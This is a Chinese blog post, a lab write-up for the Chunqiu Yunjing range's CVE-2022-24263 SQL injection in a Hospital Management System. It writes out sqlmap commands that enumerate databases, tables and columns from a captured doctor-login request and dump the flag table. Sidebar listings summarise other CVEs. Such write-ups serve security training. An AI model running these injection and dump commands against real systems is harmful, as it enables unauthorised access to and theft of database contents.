春秋云境CVE-2022-24263

最新推荐文章于 2024-05-11 08:31:42 发布
最新推荐文章于 2024-05-11 08:31:42 发布
阅读量286 收藏 2
点赞数 11
分类专栏： 春秋云境 文章标签： 数据库 web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64432806/article/details/136965304
版权

简介

Hospital Management System sqli

正文

首先进入靶场，有三个登录选项，一个患者，一个医生，一个访问者，首先来到患者随便注册一个账号进去发现没有任何可以利用的地方，所以我就退出了选择用医生登录界面进行sql注入。

首先进行抓包。

然后尝试了一下发现是单引号注入，但是接下来却不知道怎么爆破数据库名了，一直被过滤掉。没办法只能用sqlmap来爆破了

sqlmap开跑

先把这个包的内容复制到sqlmap根目录下并保存为2.txt

爆数据库名

python sqlmap.py -r 2.txt --batch --dbs

爆表名

>python sqlmap.py -r 2.txt -batch -D ctf -tables

爆列名

python sqlmap.py -r 2.txt -batch -D ctf -T flag -columns

爆数据

python sqlmap.py -r 2.txt -batch -D ctf -T flag -C flag -dump

是花花呢
关注
  • 11
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
CVE-2022-22965 GUItools单个图形化利用工具
04-06
3月31日，spring 官方通报了 Spring 相关框架存在远程代码执行漏洞，并在 5.3.18 和 5.2.20.RELEASE 中修复了该漏洞。 漏洞评级：严重 影响组件：org.springframework:spring-beans 影响版本：< 5.3.18 和 < 5.2.20.RELEASE 的Spring框架均存在该漏洞，建议用户尽快进行排查处置。 缺陷分析 CVE-2010-1622中曾出现由于参数自动绑定机制导致的问题， 此前通过黑名单的方式修复了该漏洞，但是 JDK9之后引入了 Module，使得可以通过 getModule 绕过前者的黑名单限制，最后导致远程代码执行。
CVE-2022-22963 复现Demo
04-14
CVE-2022-22963 复现Demo，A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. 存在任何使用问题可以私信本人。
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
05-05
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version<3.0.3 3.1.1<Apache spark 版本<3.1.2 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： https://spark.apache.org/downloads.html 2.安全设备路径添加黑名单或者增加WAF规则（临时方案）。
【春秋云境】CVE-2022-24263复现
小高工作室
12-01 248
因为春秋云境是用容器系列的，所以有时会很慢，重复sqlmap几次就行，这跟网络有关。而且运行时候最好关闭fiddler，不然也会很慢。退出账号时候自动跳转到index1.php。有注册，随便注册一个账号。退出登录后重新进入后台。打开fiddler抓包。
春秋云境：CVE-2022-24112
一只爱吃橙子的羊
12-04 2173
CVE-2022-24112：Apache Apisix是美国阿帕奇（Apache）基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现，具备动态路由和插件热加载，适合微服务体系下的 API 管理。 Apache APISIX中存在远程代码执行漏洞，该漏洞源于产品的batch-requests插件未对用户的批处理请求进行有效限制。攻击者可通过该漏洞绕过Admin API的IP限制，容易导致远程代码执行。
春秋云境：CVE-2022-30887
一只爱吃橙子的羊
11-29 3861
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口，客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库，并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞，进而导致任意代码执行。
春秋云境：CVE-2022-28060
一只爱吃橙子的羊
11-29 2341
Victor CMS v1.0 /includes/login.php 存在sql注入
春秋云境：CVE-2022-24124
一只爱吃橙子的羊
12-02 2325
Casdoor是开源的一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台，带有支持 OAuth 2.0 / OIDC 和 SAML 身份验证的 Web UI 。 Casdoor 1.13.1 之前存在安全漏洞，该漏洞允许攻击者通过api/get-organizations进行攻击。
春秋云境：CVE-2022-26965
一只爱吃橙子的羊
11-29 2429
Pluck-CMS-Pluck-4.7.16 后台RCE
春秋云境 CVE-2022-4230 夺旗
05-02
介绍如何 利用 CVE-2022-4230 的 WP Statistics WordPress 插件13.2.9 漏洞利用。 漏洞描述：WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认...
春秋云境：CVE-2022-22963
一只爱吃橙子的羊
01-20 748
SpringCloudFunction是SpringBoot开发的一个Servless中间件（FAAS），支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时， HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞，攻击者可通过该漏洞进行远程命令执行。 题目链接为：http://ip:port P.S 卡慢不影响拿flag
春秋云境：CVE-2022-23880
一只爱吃橙子的羊
12-06 1363
taoCMS v3.0.2 文件管理处存在任意文件上传漏洞，攻击者可执行任意代码
春秋云境：CVE-2022-24223
一只爱吃橙子的羊
12-02 1159
AtomCMS SQL注入漏洞
春秋云境：CVE-2022-29464
一只爱吃橙子的羊
11-29 1475
WSO2文件上传漏洞（CVE-2022-29464）是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
为什么Redis6.0引入了多线程
最新发布
IT深耕十余载，大道之简
05-11 334
总的来说，Redis 6.0引入多线程是为了提高性能、降低延迟、更好地利用CPU资源，并保持Redis的简单性和高性能特点。这些改进有助于Redis更好地应对不断增长的数据量和并发量需求，同时保持其稳定性和可靠性。Redis 6.0引入多线程的决策是基于其性能优化和适应现代硬件架构的考虑。
简述redis数据类型及应用场景
qq_45927587的博客
05-10 284
每种数据类型的选择应当基于具体的应用需求，比如是否需要排序、是否允许重复元素、是否需要执行集合运算等。Redis作为一种高性能的内存数据存储系统，提供了多种数据结构来满足不同场景下的需求。: 双向链表，可以做栈（LPOP/RPOP）、队列（LPUSH/RPOP）或实现发布/订阅模式。: 最基本的数据类型，可以存储字符串、整数或者浮点数等数据。支持原子性操作，如增、删、改、查。: 无序且不重复的字符串集合，支持集合运算如并集、交集、差集。: 用于存储键值对的集合，每个哈希可以存储多个字段-值对。
Linux——综合实验
Xinan_____的博客
05-07 839
> MASTER_HOST='wangA.wld.com', //主节。赋予root用户replication slave 权限。编辑一个数据库连接脚本，测试数据库是否能正常连接。创建共享目录/share_nfs。编辑nfs配置文件 设置允许ip。2.7.1.存在53端口占用。编辑自动挂载父目录配置文件。编辑自动挂载父目录配置文件。编辑自动挂载子目录配置文件。创建一个用户用来做主从同步。从节点同步主节点二进制文件。创建一个只做nfs的用户。解决办法：停止其他端口。为我们的应用创建一个库。
春秋云境CVE-2022-29464
09-05
春秋云境CVE-2022-29464是指WSO2 API Manager 文件上传漏洞的CVE编号。这个漏洞允许攻击者通过上传恶意文件来执行任意代码，进而导致服务器受到攻击。根据引用，在GitHub上有一个项目，其中包含了与该漏洞相关的利用...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值